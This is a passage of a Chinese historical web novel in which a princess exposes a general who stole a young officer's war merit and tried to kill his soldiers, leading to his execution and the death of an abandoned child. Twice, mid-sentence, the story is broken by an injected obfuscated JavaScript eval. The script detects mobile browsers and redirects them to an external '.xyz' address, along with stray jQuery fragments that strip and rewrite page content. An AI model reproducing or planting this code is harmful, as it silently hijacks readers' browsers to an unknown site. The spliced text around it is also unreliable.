当看见宁烽的模样时,她愣了一下,随后扬起笑热络的上前,拉着他的手腕进府。 “本宫正好在用膳,看你应该饿着,一起吃些。” 宁烽低低应了一声,随着她来到小厅,闷着头吃饭。 看着他狼吞虎咽的吃着,乔楹月的心中装了许多疑问,却并未开口。 等到宁烽吃饱喝足,她派人将他送到客房休息,随后派人给宁老将军报了平安。 宁烽睡到了晚上。 乔楹月陪着他用了晚膳,见他的精神恢复了一些,这才开口询问。 “告诉我,发生了什么。” 第一百一十八章上门挑衅 宁烽欲言又止好几次才缓缓道来。 “此次是我冒着生命危险击退东陵大军,颜崇业抢了我的军功。” 一句话让乔楹月的怒火涌了上来。 从捷报和败书先后回京,到颜崇业风光回京,而宁烽肚子一人落魄回归,她心中便有了猜测。 但也仅仅只是猜测。 眼下猜测成真,怒火根本控制不住。 军功是靠着血泪换来的,夺人军功者根本不配做人! 她这个旁观者都怒气难抑,宁烽这个当事人该有多难受。 “你放心,我会帮你,但是你要先告诉我详细的情况。” 宁烽将卞城的事儿细细道来。 乔楹月听不懂排兵布阵,但大致听懂了重要经过。 东陵军势不可挡,颜崇业指挥失误,导致兵临城下,卞城即将失守。 宁烽带着一千士兵绕后打了东陵一个措手不及,随后利用提前布下的陷阱,在数万敌军之中取了敌将首级。 东陵军群龙无首,当场投降。 东陵为了救回自己的士兵,和宁烽签下契约,十年内不犯大周疆土。 这份军功震撼人心,颜崇业以老大哥的姿态叮嘱宁烽先别声张,恐引来不轨之人的嫉妒。 宁烽乖乖听话,并未对旁的将士说起此事,他的英勇事迹就只有那一千的士兵知道。 回城的路途走了五日,颜崇业临时让宁烽取一封重要的卷宗,等宁烽取回军队已经快要回到盛京城。 他快马加鞭星夜兼程往回赶,在半路上听到了自己击退东陵大军的英勇事迹,可那主角却换成了颜崇业。 到了这时宁烽才发觉不对。 他卯着一口气赶回城内,发现城门口无人迎接他,甚至连他回来也无人知晓,他这才相信自己被颜崇业算计了。 “在军中的几个月里,颜崇业待我极好,我对他极为信任,怎么也没想到他竟会这般害我。” 宁烽的眉毛紧紧拧着,脸上早已没了怒气,有的只是深深的困惑和无力。 这幅样子让乔楹月想起了自己前世,发现秦拂郁一直在欺骗她时,她在愤怒过后也是这样的困惑和无力。 她试图想通,可无论她怎么想都想不通,于是她就拼命想,最终陷入无限循环的死胡同,一遍遍的自我折磨。 如今她想通了。 “想不通的便丢开,我们只需要得到想要的结果。” 乔楹月轻轻摸了摸宁烽的脑袋,声音格外柔和。 “有一千士兵知道你的英勇,他们可以帮你作证。” 宁烽满脸失望:“颜崇业将那一千士兵发配到了北境,我怀疑,这些人根本没走出卞城。” 没走出卞城,那就是埋在了卞城的地底下…… 那一千人是保卫大周的功臣。 是活生生的血肉。 是一千个家庭。 颜崇业,你该死啊!! 这一瞬间乔楹月的血液逆流,愤怒逼红了她的眼眶。 她吸了吸鼻子,冷声说道:“不管他们如今在哪儿,无论他们是活人还是白骨,我都要将人带回盛京,帮他们领回他们的荣耀!” 这一刻,宁烽看着乔楹月脸上的坚定,飘摇不定的心缓缓落到实处。 他相信,他的公主定会帮那一千个兄弟讨回公道! 宁烽和乔楹月诉说一番以后,整个人的状态好了一些。 乔楹月给宁老将军递了信,不一会儿,宁老将军亲自来到将军府,将孙儿接了回去。 宁老将军虽然在女人上有些糊涂,但在军事上却十分精明。 从宁烽没有跟随大部队回城,到乔楹月给他递平安信,再通过平安信的只言片语,便猜到孙儿肯定遭遇了大事儿。 他回到府上仔细询问了一通,得知真相后气的拔剑要去杀了颜崇业。 宁烽赶紧将祖父拉住,告诉他,乔楹月已经有了计划。 这厢,乔楹月连夜去了文府,见了自己的舅舅。 她将宁烽的遭遇细细告知,随后提出了自己的要求。 “我要找到那一千士兵,是死是活,都要找到。” 文墨甲是个军人,听到这种事儿比乔楹月更愤怒。 “连自己的弟兄都下得去手,颜崇业是个畜生!我在军中有些人脉,便是将大周翻个底朝天,我也要将那一千弟兄找回来!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340371|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一边,颜崇业回京后便将颜倾柔接回了自己的府上,兄妹二人相对而坐,诉说这么多年的苦难。 “十二年前,大伯颜勇连同颜家一干族人全部牺牲,活下来的只有我和你。 为了重振家族荣耀,我一往无前的前往狗都不愿去的卞城。 如今我立下军功,这才有脸回京,这些年没有我的庇佑,妹妹受苦了。” 听到堂哥的关心,颜倾柔心酸又感动,用帕子擦掉眼泪,委屈的开口。 “堂哥在边疆为乔家守护国土,我在盛京却被乔楹月欺负,如今堂哥回来了,一定要帮我出口气。” 颜崇业的眸色冷了下去:“这宅子是我回京后皇上赐给我的,你安心住在这里,大周十年内无战事,我会留在盛京保护你,以后谁都欺负不了你!” 颜倾柔面露担忧:“那乔楹月诡计多端,堂哥要当心些,别被她算计了。” “哼,”颜崇业一脸自信,“我岂会被一个内宅女子算计。” 颜倾柔想到什么,又问:“我听说那宁烽昨晚一个人回城,其中可是有什么事儿?” 颜崇业眼中划过暗光,叹着气开口:“他贪生怕死,险些让卞城失守,还好我力挽狂澜,这才没有酿成大错。” 颜倾柔愤怒斥骂:“不是个东西!和乔楹月一样!” 和颜倾柔说完话后,颜崇业独自坐在小厅思考着什么,思考一会儿后他的脸上露出笑意,这才去睡下。 次日清晨,颜崇业出门去了公主府。 听到红豆的禀报时,乔楹月极为意外,但转念她便明白了颜崇业的目的。 是知道宁烽在她的府上,也知道自己占他军功的事儿被她知晓,却笃定自己事儿做的干净,故意上门来挑衅。 “让他进来。” 乔楹月坐在太师椅上,垂眸看着那走进来的男人。 三十岁左右的年纪,因为常年带兵打仗,皮肤微黑,五官也算硬朗英俊,只是神态透出的阴险让人心中不适。 颜崇业走进小厅,目光落在这目光锐利的小姑娘脸上,眼底爆出惊艳之色。 那位小公主竟生得这般美貌了。 “末将拜见公主!” 第一百一十九章冷血无情 没等乔楹月开口,颜崇业自己站直身子,坐在了她的下手,笑眯眯的开口。 “末将离开时公主才六岁,还是个小丫头,如今竟出落得亭亭玉立,叫人挪不开眼。” 他目光直白,言语轻浮,是挑衅,也是调戏。 乔楹月冷着脸反问:“本宫让你起来了?” 颜崇业半点不怕,嬉皮笑脸道:“公主明理懂事,肯定不会让有功之人站着。” 一句话便占据主导。 乔楹月轻轻一笑,眉宇间自然流露皇家尊贵之气:“功臣自然得本宫尊重,可畜生却得不到,颜崇业,你是功臣,还是畜生?” 没料到看着娇娇俏俏的小姑娘说话竟这般不客气,颜崇业的笑容挂不住了,冷下脸哼道: “公主这些话若是落到皇上耳中,怕是落不到好!” “皇兄与本宫兄妹情深,血浓于水,颜将军,落不到好的只能是你。” 皇上对怀宁公主的宠爱人尽皆知,颜崇业不认为自己能越过她去。 到时候吃亏的只能是他。 颜崇业吞下火气,忍气吞声的开口:“末将事务繁忙,先行告辞!” 这一次他知道行礼等乔楹月点头才转身。 乔楹月瞧着那道张狂的背影,眼神冰冷如刀。 颜府内宅。 庄秋卑微的站在颜倾柔面前,一脸忍辱负重的给颜倾柔倒茶。 颜倾柔慢悠悠接过茶,品了一会儿才缓缓开口。 “念在我们婆媳一场,我便答应你,我屋后有一个杂院,你自己收拾出来便能住下了,至于秦拂郁……” 见她面上露出不情愿,庄秋赶紧求道:“一夜夫妻百日恩,倾柔,你就帮帮他吧。” “行吧。” 庄秋狂喜,“我这就去监牢,将这个好消息告诉他!” 颜倾柔坐在椅子上看着庄秋离开,眼神中透着讽刺。 她答应帮秦拂郁可不是念及旧情,而是因为乔楹月讨厌秦拂郁。 乔楹月对秦拂郁的厌恨远超了他所做下的事儿,其中的原因她不清楚,但她清楚,秦拂郁好过,乔楹月的心情就不会好过。 自己在她身上吃了这么大的亏,也该一点一点的要回来了! 庄秋来到监牢,见到了秦拂郁。 在牢里蹲了这么久,秦拂郁瘦了很多,看见庄秋站在外头,他的脸上没有半分激动。 庄秋第一次来看他时他还抱着期待,后来慢慢便**心。 没人能将他救出去。 庄秋看到秦拂郁一脸心死,倒没觉得心疼,这个儿子又不是她生的,犯不着心疼,之所以急着将她救出去,是想靠着他翻身。 她蹲在牢门前,压低声音对秦拂郁说道:“拂郁,颜崇业带着天大的军功回京了,他答应救你出去!” 秦拂郁立刻扭头看向她,隐忍的问:“当真?” 庄秋点头:“自然是真的,娘还能骗你不成。” 秦拂郁顿时来了精神,“娘,等我出去以后一定对您好,我会重振侯府,让您继续过富贵日子!” 庄秋等的就是这句话,雪中送炭的情谊比金坚,有朝一日秦拂郁翻身,她将是他最感恩的人! 庄秋将一个碗斜着递进去。 “今日过年,这里头是娘亲手做的粉蒸肉。” 粉蒸肉是穷人过年才能端上餐桌的美食。 富贵出身的秦拂郁唾手可得。 但那是从前。 如今的他每天吃冷馒头,喝冷水,能吃饱都是奢望。 这粉蒸肉简直是美味佳肴! 接过庄秋递进来的筷子,秦拂郁狼吞虎咽的吃起来,眼泪掉进肉里被他塞进嘴里,越吃越香,越香就越想哭。 倘若当初他真心对待乔楹月,如今便不会落到这个地步。 这次若能出去,他定会跪在乔楹月面前好好忏悔。 他要做她的驸马,真心真意待她。 大年初二,颜倾柔便和一个有权有势的老男人相看了。 此人虽然只是个五品小官,但家底殷实,发妻刚刚亡故,嫁过去便是当家主母。 颜倾柔非常满意这门亲事,恨不得立刻成亲。 但这老男人却对秦宝有些微词。 “男子将来成家立业需要银子,我虽家底丰厚,却也不想帮别人养孩子,倾柔,若你能将这儿子撒开,我们即日便成亲。” 颜倾柔只是考虑了一盏茶便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340372|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应了。 颜倾柔回到颜府便将此时告知颜崇业,颜崇业倒也爽快,直接表示。 “反正我子嗣单薄,你便将宝儿过继给我,以后他就是我儿子。” 颜倾柔高兴极了,扭身开始准备过继之事。 颜家已无后人,这过继之礼便在颜氏一族的先祖灵位前完成。 “宝儿,跪下。” 颜倾柔沉声命令秦宝。 秦宝不明所以,却并未多问,一脸信任的跪在了灵位前。 颜崇业在灵位前上了三炷香,对着灵位说道:“列祖列宗在上,从今日开始,秦宝便过继给我,往后他便是我的儿子,将来他要为我养老送终。” 听到这番话,秦宝不太明白是什么意思,扭头问颜倾柔。 “娘,表舅在说什么?” 颜倾柔笑盈盈的解释:“娘要将你过继给你堂舅,往后你便是你堂舅的孩子。” 秦宝不知道过继是什么,但他知道自己将不再是母亲的孩子。 他‘唰’地从地上站起来,慌张的抱住颜倾柔的大腿。 “娘,宝儿以后都会乖乖听话,求求娘亲不要抛下宝儿!” 小小的人儿气力却很大,颜倾柔费了些力气才将他甩开,她冷着脸叮嘱他。 “你以后听你爹的话就行了,我们已不是母子。” 便在这时,丫鬟在门前禀报。 “颜小姐,涂大人接您去买首饰。” 颜倾柔脸上露出笑意,不再理会秦宝,转身离去。 秦宝推开颜崇业的手,追着母亲的背影哭喊。 “娘!宝儿要做您的儿子,娘……” 他跑的很用力,可是和母亲的距离却越来越远,等他跑到府门口时,母亲已经上了别人的马车。 车帘晃动,母亲和陌生男人坐在一起,面上笑靥如花。 每次他哭泣时母亲都会说他不听话,这次他很伤心,但一直乖巧的没有哭。 可这一刻秦宝不乖了,眼泪控制不住的往下淌。 他不顾一切追着马车跑,他想和母亲在一起,永远和母亲在一起。 脚下的石头绊住他,他摔倒在地,马车迅速消失在了他的视线之中。 第一百二十章秦宝咽气 颜崇业赶到时,秦宝口中全是血,昏迷了过去。 他抱起来一看,发现绊倒秦宝的是一块非常尖锐的石头,这石头正巧顶在了他的心口上。 颜崇业皱着眉毛将人抱回府上,请了大夫来瞧,大夫却摇头。 “撞伤了心脉,小人医术不精,怕只有那太医院的宋院正能治。” 颜崇业念着他身上留着颜家的血,当即请了宋鹤柳回来。 宋鹤柳给秦宝看了伤势,开了药,面色不容乐观。 “无力回天,只能勉强续命几个时辰,颜将军做好心理准备。” 颜崇业没什么心理准备需要做,死了就死了,反正他娘都不在意,他更不会在意。 宋鹤柳没有回宫,而是去了公主府,见到乔楹月,将秦宝受伤的事儿告知。 颜倾柔二嫁的事儿在盛京小范围的传开了,自也传到了乔楹月的耳朵里。 这会儿听到秦宝的惨样儿,便猜到估摸着和颜倾柔二嫁的事儿有关。 对此,她对颜倾柔此人的品性有了新的定义。 阴狠毒辣,毫无人性。 没想到到了晚些时候,颜崇业竟然带着秦宝上门来。 “他闹着要见公主,末将公务繁忙,实在无暇照顾,既然他愿意和公主亲近,末将便将他放在公主这儿。” 颜崇业抱着秦宝,小小的人儿这会儿看起来不太行了,但好歹还在喘气,这个当堂舅的竟用‘放’来安顿他。 是清楚秦宝要死了,便直接将他当成死人对待。 “颜将军倒是有情有义。” 听出乔楹月在讽刺自己,颜崇业心里有些窝火。 他如今是大周的功臣,不缺安葬秦宝的三瓜两枣,但妻子放言,若是秦宝死在府上,就要回娘家。 妻子知道他许多事儿,一旦闹翻,他怕出事儿。 正好秦宝昏昏沉沉的呢喃,说什么要见公主,他便顺势将人带了过来。 这次带过来他就没打算带回去,他觍着脸将秦宝放在地上,转身就走了。 乔楹月被他的厚颜无耻气笑,直接吩咐林酒。 “将他丢出去。” 林酒上来抱起秦宝打算离开。 一直昏昏沉沉的秦宝忽然清醒了许多,睁大眼睛望着乔楹月。 “公主殿下帮帮我,我想见娘,求求公主。” 乔楹月皱眉, 前世他也是这么小的年纪,却和颜倾柔在背后算计她。 她没有菩萨心肠,就算他此刻要死了也不觉得可怜,只觉得罪有应得。 想让她帮他? 下辈子吧。 “丢出去。” 兴许是知道在乔楹月面前装可怜没用,秦宝垂下眼泪。 不过林酒刚刚走出小厅,乔楹月忽然开口叫住了他。 “本宫又改主意了,林酒,将他放到客房去,再去将颜倾柔请来,本宫要成全这份母子情深。” 既然颜轻柔连自己儿子的死活都不顾,想必是对这个儿子厌烦极了。 那她就让她亲眼看着她的儿子死在面前。 乔楹月承认自己有报复的念头,但除了报复之外,她也想看看这个女人是否还有一丝人类的情感。 颜倾柔被老男人领到了‘金福来’,她知道这是乔楹月的铺子,不想自己的银子被乔楹月挣到,扭身换了一家。 刚要进去,被人叫住。 “颜小姐,我家公主有请。” 认出林酒的身份,颜倾柔当即警惕起来。 乔楹月那种卑鄙小人请她过去肯定没好事! 颜倾柔想拒绝,但又莫名不甘心,想到自己如今是有人护着的,便底气足了。 她同老男人交代:“我先去一趟公主府,等我回来再说。” 老男人听说这话,眼底立刻露出欣赏之色,“公主和颜小姐竟这般亲密。” 颜倾柔觉得倍有面子。 随着林酒来到公主府,她却并未见到乔楹月,而是被领到了一间客房,没等她反应过来,屋门便在背后关上了。 颜倾柔吓了一跳,赶紧去拉门,朝着外头喊道:“乔楹月!你难道想暗杀我不成!” 话音落下,便听见身后响起一道微弱的声音。 “娘,您终于来见我了。” 颜倾柔转身,缓缓走到榻前,看见秦宝躺在榻上,身上盖着厚厚的被子,只有一个小小的脑袋露出来。 平时红润的脸庞这会儿惨白无血色,状态一看就不对,像是快死了。 她的脸上露出意外,沉声说道:“你竟摔的这么重。” 原来娘亲知道他摔了,却依旧没来看他。 不过娘亲是不知道他伤的这么重,现在知道了,肯定不会再丢下他。 “娘,我不疼,我虽然哭了,但是很快就忍住了,娘,您带我回家吧。” 颜倾柔眼底的情绪很复杂。 心疼。 烦躁。 逃避。 而这心疼只是一闪而过,最终占领上风的,是逃避。 她冷声说道:“你为何会在公主府?” 秦宝如实交代:“是我求着堂舅送我过来,我求公主帮我见您。” “你已经过继给了你的表舅,我不是你娘,你为什么这么想见我?” 秦宝又想哭了,他忍着眼泪乖巧说道:“宝儿从娘的肚子里生出来的,无论发生什么,宝儿永远是娘的孩子。” 这番话没让颜倾柔感动,反而她看秦宝的眼神像是看什么洪水猛兽。 她往后退了一步,冷淡道:“你就当不是我生的,以后我们见面就当不认识。” 不等秦宝再说什么,颜倾柔转身朝外走,她的手碰到门上时,听到秦宝恳求的声音。 “宝儿很快会长大的,长大以后就能保护娘了,娘再等一等,宝儿真的会很快长大,宝儿不会让任何人欺负娘……” 颜倾柔拉开门,飞快合上。 她一抬眼,看见乔楹月立在庭院之中,眉目之中尽是鄙夷。 她知道她在鄙夷什么,鄙夷她的无情无义,鄙夷她的毫无人性。 可那又怎样,孩子对她毫无益处,只会拖累她,将来她还会有其他的孩子,没必要为了这一个孩子受苦。 颜倾柔抿着嘴唇从乔楹月面前走过,头也不回的离去。 乔楹月推开屋门,走到榻前。 秦宝闭着眼睛像是睡着了。 她伸手探了鼻息,毫无声息。 他死了。 死在了亲生母亲的绝情之中。 也是这一刻,乔楹月冷硬的心生出愧疚。 这一次,她似乎太过卑鄙。 第一百二十一章讨回公道 乔楹月将秦宝厚葬,另外请了道士为他超度。 愿他来世选个好母亲。 几日后,文墨甲告知了一个很好,却又很悲壮的消息。 “那一千士兵离开卞城时便察觉到不对,暗查下知道颜崇业打算一把火将他们全烧成灰。 士兵们在大火下葬身了一半,另外一半逃了出来。 他们不敢回卞城,更不敢回盛京,全都躲在卞城郊外的山上。 我的人找到他们时他们哭成了孩子,立刻启程跟着回京。 大家的心情都很急切,星夜兼程,提前好几日到达盛京。 我担心一下子进城太多,引来麻烦,所以先将他们安顿在城郊,等公主这边准备了再进城。” 文墨甲红着眼睛将一张印满红色手印的纸递过来。 乔楹月看着这张纸,心情悲痛,又了有安慰。 还有五百人活着,太好了。 乔楹月用帕子擦掉泪水,先叮嘱文墨甲做一件事,然后让红豆准备纸笔,亲手写下颜崇业的罪状。 文墨甲派人去城外,自己则去了宁府。 而乔楹月直接带着状纸进宫,面见皇上。 巧合的是,今日是颜崇业进宫领封的日子。 颜崇业本是个三品将军,如今拥着军功,晋升成为二品的辅国大将军。 乔楹月进入内殿时,乔景琰正当着颜崇业的面写圣旨。 看见她进来,颜崇业面色得意,笑盈盈问她。 “公主是知道末将受封,特意前来为末将庆贺的吗?” 乔楹月轻笑:“颜将军料事如神,为庆贺颜将军晋升之喜,本宫特意写了一张贺书。 颜崇业有些受宠若惊。 乔景琰很是意外,放下笔来说道:“朕倒是好奇这贺书写了些什么贺词。” “皇兄莫急,臣妹这就念出来。” 乔楹月将‘贺书’从袖中拿出,摊开来,大声念出。 “颜崇业,因判断失误导致东陵大军兵临城下,汴州险些失守! 宁烽带着一千人马绕后突袭,后单枪匹马入敌军深处取敌将首级! 此战因此而胜,颜崇业谎报军情,让宁烽背上误国的恶名,后再发捷报,抢夺军功! 颜崇业担心事情败露,故意让宁烽晚几日回京,并利用权利暗杀那立下军功的一千士兵! 颜崇业!你罪该万死!!” 乔楹月的声音激昂铿锵,话音落,抬眼那一刻,眼神锐利威严。 颜崇业对上这道视线时下意识闪躲,随后咬牙反问:“怀宁公主为何含血喷人?难道就因为宁烽是您的面首,末将就该受此诬陷吗!” 乔景琰的脸色彻底沉了下去,他冷声训斥乔楹月。 “是朕宠得你越发的无法无天了,颜爱卿是大周的功臣,是我们乔氏的功臣,怀宁,你立刻向颜爱卿赔罪!” 颜崇业却红着眼脱下了身上的盔甲,跪了下去。 “看来末将是无形中得罪了怀宁公主,末将胆小,哪儿还敢在朝中为皇上办事儿,末将就此辞官算了!” 此举是不满道歉了事,他要让乔楹月受到严重的惩罚。 乔景琰叹了一声,看向乔楹月的目光严厉极了。 “今日是你太过无礼,伤了颜爱卿的颜面,若只是道歉难以让你长记性,便打你五个板子。” 五个板子不多,但皇宫的五个板子不普通。 男人挨上五下一个月下不了床。 女人挨五下腰都得被打折。 颜崇业对这个惩罚很满意,低着头的脸上浮起得意的笑。 乔楹月冷笑着从袖中拿出那张印满红手印的纸,她看着上面鲜红的指印,红着眼上前,将这张纸摊开放在了乔景琰的面前。 乔景琰低头看。 便见这纸上密密麻麻印满了手指印,而每一个手指印下都写着一个名字。 他不解。 “这是什么?” 乔楹月哽咽道:“那一千士兵机敏,逃了五百人出来,这是那五百士兵的血书。” 乔景琰面色动容。 颜崇业大声道:“公主倒是煞费苦心,伪造这些指印应该花了一些心思吧?” 乔景琰脸上的动容一顿,抬眼问乔楹月:“此物不足以证明。” “臣妹知道,所以,臣妹将这五百士兵请来来,如今他们就在宫门外,皇兄一声令下,他们便会进宫来指认颜崇业犯下的滔天大罪!” 乔景琰扫了埋头跪着的颜崇业一眼,大声下令:“谢烬弦!将朕的士兵全部请进来!” 谢烬弦心中有些嘀咕。 什么抢夺军功,什么百人血书。 乔楹月可真能编。 颜崇业可是刚立下军功的功臣,等会儿她的谎言被戳穿以后,下场肯定很惨。 这会儿他到了宫门口,抬眼看向宫门外。 只见开阔的蓝天之下站着一列列士兵,这些人身上穿着铠甲,但铠甲破烂,像是经历过一场逃亡。 他们的站姿工整,神色肃穆,每人的右手夹着一个小坛子。 谢烬弦的心脏莫名被撞了一下,他盯着这些人手中的小坛子看了一会儿,忽然明白了那里头装着的是什么。 是那五百个死在火海中战友的骨灰。 一切的猜疑在这一刻荡然无存,他无比肯定,乔楹月没有说谎! 谢烬弦抿唇走到这些人面前,伸手拍了一下当前一人的肩膀。 “欢迎回来!” 短短四个字,竟是哽咽到差点掉泪。 宁烽从一侧走过来,他站在大家面前,目光深情的看着自己这些弟兄,片刻后大声下令。 “兄弟们!我们现在进宫,为死去的弟兄们讨个公道!!” 五百人的队伍,安静得像无人存在。 却在宁烽一声令下后响起洪亮而整齐的呼喊声。 “讨回公道!” 这声音落下后,队伍之中传来呜咽声。 宁烽红着眼转身,大步进宫。 队伍浩浩荡荡来到天和殿。 巍峨肃穆的殿宇,此刻不仅仅只是权利的象征,更是公正的秤砣。 宁烽理了理身上的铠甲,大步走进殿内。 来到里侧的内殿,他看见了跪在地上的颜崇业,心底的恨意烧了起来。 抿唇走到乔景琰面前,他单膝跪下行礼。 “微臣拜见皇上!” 乔景琰朝他点头,“平身。” 宁烽站起身来,侧头看了一眼站在自己身边的乔楹月,才沉沉开口。 “颜崇业杀害五百将士,微臣求皇上为这五百将士做主!” 第一百二十二章人头落地 乔景琰面色动容,起身走到殿外,看向那整齐站在广场之上的将士们。 每个人的表情充满严肃和伤感,铠甲褴褛,连脸上的脏污都还没来得及洗干净。 这幅凄凉悲惨的模样无需用太多的言语去形容,便能叫人猜到他们曾经所遭受之事必定痛彻心扉。 乔景琰的目光落在那一个个坛子上。 这里头便是那五百个英魂。 “你们,是大周的英雄!你们的弟兄,是大周的战神! 朕知道你们的勇猛,知道你们的忠心,更知道你们的委屈! 你们放心,颜崇业,朕会狠狠处罚!” 士兵们听见这番话后纷纷落泪,一个个抬手擦眼泪。 乔楹月站在乔景琰身后,看见这一幕时眼泪掉了下来。 宁烽忍着眼泪走到士兵之中,同他们站在一起。 乔景琰低喝:“来人,将颜崇业带出来!” 谢烬弦一把擦掉眼泪,快步走进内殿,拎着颜崇业的衣领子,将他丢在了宁烽面前,骂道。 “混账东西!合该千刀万剐!” 颜崇业跪在地上,双手撑地,身子发抖,一脸死到临头的绝望。 不,他不想死! “宁烽,你可记得,你刚入军营时被人瞧不起,是我帮你,若非我帮着你,你只怕早就被人打残了! 男人要重情义,这是你欠我的人情,正好现在你来还,好不好?” 事到如今,颜崇业竟还有脸诡辩。 宁烽看向他的眼神鄙夷至极。 “你帮我的,我已经用我的方式还了,你说男人应该重情义……原来你还知道道理。 你知道这些道理,却能做出坑杀兄弟的事儿,你不值得得到半分同情!” 宁烽拎着他的衣领调了个方向,让他朝着五百士兵们下跪。 “你做了对不起兄弟的事儿,现在,你必须向他们道歉!!” 颜崇业稍微抬头,便看见了无数道俯视的目光,有些面孔他还很面熟,而此刻这些人正愤恨的盯着他,恨不得生扒他的皮,生吃他的肉。 大势所趋,平息这些士兵的怒火,或许他还能有个全尸…… “我,颜崇业,抢夺军功,残害兄弟,我罪该万死,应该下十八层地狱! 宁烽,对不起,下辈子我肯定做个好人! 兄弟们,我错了,到了地底下见到被我害死的兄弟们,我定会跪下认错!” 颜崇业的额头重重磕在地面上,一下比一下重。 宁烽流下眼泪。 将士们将轻轻用手抚摸坛子,像是在告诉地下的兄弟,他们的仇报了。 乔景琰当场判决。 “颜崇业抢夺军功,残害将士,罪大恶极,即日斩首! 念及颜氏先辈为大周立下的功劳,此次朕不杀你的家眷,但你的家宅全部抄没,用以抚恤这一千士兵!” 就在当天,颜崇业被推到了午门斩首。 颜崇业犯下的事儿传遍了盛京,百姓们自发前来围观这场斩首之刑,看到颜崇业的脑袋掉在地上时,百姓们为之欢呼。 向全站在人群之中,看到无首尸体倒在了地上,激动的眼圈泛起热泪,他顺手拉住一人询问。 “小兄弟,这颜崇业是被何人惩治?” 少年一脸敬佩的说道:“是怀宁公主惩治了这个恶人!” 旁边的人听见这句话忍不住附和:“怀宁公主犹如菩萨降世!” 这边的动静引来更多的人,大家为此议论起来。 “先前盛京都传怀宁公主恶毒,如今看来,这些传言怕都是那恶人在背后造谣,他们怕怀宁公主惩治他们便以此攻讦她!” “我从前竟然信了这些谣传,误会过怀宁公主,我真是该死。” “以后我们就知道怀宁公主是好人了,往后若是在路上瞧见怀宁公主的车架,我定要虔诚跪拜。” …… 怀宁公主。 这位怀宁公主不畏强权,为百姓主持正义,是个好人。 他的事儿,肯定只有怀宁公主能帮。 向全激动的转身,朝着公主府而去。 这厢。 宁烽着那五百士兵来到颜崇业的府上,将他的妻儿赶出府宅,抄没了府宅。 抄没的钱财他半分都没有贪污,当场分给了这些弟兄们。 原本是一千人平均来分,但是着五百个士兵主动从自己的钱财中拿出一小份,放在了坛子上。 宁烽知道兄弟们的心情。 他们虽然受了委屈,但命还在,将来还有建功立业,孝敬父母,生儿育女的机会。 可这死去的五百个弟兄却再也没机会了,他们的家人应该得到更多的抚恤金。 颜倾柔站在大街上,脑子还有些懵。 她不明白,她怎么刚有了落脚的地方,生活刚刚要好转,怎么就又成了丧家之犬? “颜倾柔,你看看你这不成器的堂哥,害得我们又流落街头受人白眼!” 寄人篱下的庄秋自也被一同赶了出来。 此刻她一脸怨气的站在颜倾柔面前抱怨着。 颜倾柔还没说话,她身侧的妇人便恼火甩过去一巴掌。 “混账东西!好心收留你还成了坏人了?我跟着崇业在卞城生活这么多年,一直顺风顺水,就是你住进来以后我们家崇业才出事的,要我说,你就是个克星! 你克完了自己家,又来克我们家!我打死你!” 这个妇人正是颜崇业的妻子,刚二十出头,就这样做了寡妇,心中本就悲愤,庄秋还在面前说这种风凉话,她这一肚子的怒火便全都怪在了庄秋的身上。 这会儿她哪儿还顾得上什么体面,扑上去将庄秋压在地上有抓又打。 她的三岁的女儿哭着加入进来,小小的孩童只会最原始的攻击招式,扣眼珠子。 颜倾柔心里也有火,毫不犹豫的帮着嫂子一起打。 克星! 大克星! 宁烽带着五百弟兄从府内出来,瞧见门口的闹剧,冷笑着离去。 庄秋被打了个半死,鼻青脸肿的逃出来,在街上躲了半日,实在是没去处了。 索性身上还有从颜府悄悄偷出来的一点碎银子,她拿着碎银子去了大理寺,将碎银子交给狱卒,见到了秦拂郁。 她蹲在大牢前,哭着告知秦拂郁这个不幸的事实。 秦拂郁听后当场气的昏死过去。 第一百二十三章一波又起 向全靠着打听,一路找打了公主府。 他佝偻着背走上台阶,小心翼翼的询问看门的侍卫。 “小兄弟,我想见怀宁公主。” 侍卫低头上下打量他一眼,眼中露出不耐烦。 “像你这种捣乱的疯子,今日已经是第四个了,滚滚滚,再来胡闹把你脑袋割下来!” 侍卫恶狠狠的推开了向全。 向全站在门口踌躇片刻,转身离去。 待到晚些时候,府门打开,乔楹月从里头走出来,坐上马车。 车夫老洪甩着鞭子赶车。 便在此时,一道瘦弱的身影从一旁冲出来,挡在了马车前头。 老洪被突然窜出来的人吓了一跳,赶紧勒马停车,马儿扬起的蹄子险险落在人影面前。 只要再慢上一刻,这人就要被马蹄踩中。 老洪抹掉额上的汗,冲着摔在地上的人说道: “被马车撞上会受伤,老人家,快些起来,走开些,小心被误伤了。” 老人家抬头,正是白天来过的向全。 向全撑地起身,却并未离开,而是跪在了马车前,重重三个响头以后,他朗声开口。 “吾儿遭奸人所害,冤死十二载,草民听闻公主是惩奸除恶的活菩萨,草民愿意用性命作为代价,请求公主帮吾儿平冤!” 简短的一句话,却蕴含着浓重的情感。 老洪被向全的神色感动,低声对车内说道:“公主可要帮忙?” 里头没说话,但下一刻车帘被人掀开,乔楹月竟是直接下车。 她大步走到向全的面前,将人扶起来,缓声说道:“老人家放心,你若真有冤情,本宫不会坐视不理,这儿人多眼杂,我们府上说。” 向全激动不已。 乔楹月带着向全回府,细细听完了老人的冤情,她的脸色怒意翻滚。 细细琢磨一番后,她吩咐林酒前往北城寻找一个女人。 这厢。 颜崇业被斩首,老男人立刻和颜倾柔划清了界限。 颜倾柔只能带着嫂子和三岁的堂侄女回到了自己的小破屋里。 